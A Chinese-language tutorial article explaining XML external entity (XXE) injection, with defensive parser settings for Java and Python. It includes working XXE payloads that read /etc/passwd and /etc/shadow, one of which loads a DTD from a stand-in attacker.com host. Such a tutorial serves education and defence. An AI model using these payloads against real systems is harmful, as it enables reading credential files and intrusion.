插件窝 干货文章 XML外部实体注入漏洞的示例分析

XML外部实体注入漏洞的示例分析

XML 漏洞 XXE 实体 62    来源:    2025-04-27

XML外部实体注入(XXE)漏洞分析

漏洞概述

XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵XML输入来干扰应用程序的XML处理逻辑。攻击者可以利用此漏洞读取服务器上的任意文件、执行服务器端请求伪造(SSRF)攻击、扫描内部端口,甚至可能导致远程代码执行。

漏洞示例分析

基本XXE示例

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

在这个例子中: 1. 定义了DOCTYPE声明,包含一个外部实体xxe 2. 实体xxe被设置为读取系统文件/etc/passwd 3. 当XML解析器处理这个文档时,会将&xxe;替换为/etc/passwd文件的内容

更复杂的XXE利用

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd" >
  %xxe;
]>
<foo>&external;</foo>

其中evil.dtd内容为:

<!ENTITY external SYSTEM "file:///etc/shadow" >

这个例子展示了如何通过外部DTD文件进行更复杂的攻击。

漏洞成因

XXE漏洞通常出现在以下情况: 1. 应用程序接受XML输入 2. XML解析器配置为允许外部实体引用 3. 输入未经过适当的过滤或验证

危害

XXE漏洞可能导致: - 任意文件读取 - 内部网络扫描 - 服务器端请求伪造(SSRF) - 拒绝服务攻击 - 在某些情况下可能导致远程代码执行

防御措施

1. 禁用外部实体处理

对于不同语言的XML解析器:

Java (DocumentBuilderFactory)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python (lxml)

from lxml import etree
parser = etree.XMLParser(resolve_entities=False)

2. 使用更安全的替代方案

考虑使用JSON或其他数据格式替代XML。

3. 输入验证和过滤

  • 验证XML输入是否符合预期结构
  • 过滤或拒绝包含DOCTYPE声明的XML文档

4. 使用白名单

对允许的XML元素和属性实施严格的白名单控制。

5. 更新XML处理器

确保使用的XML处理器是最新版本,已知漏洞已修复。

实际案例分析

许多知名公司和产品曾受到XXE漏洞影响,包括: - Facebook (2013) - WhatsApp (2019) - 多个银行系统 - 多个CMS系统

XXE漏洞在OWASP Top 10中多次被列为重要安全风险。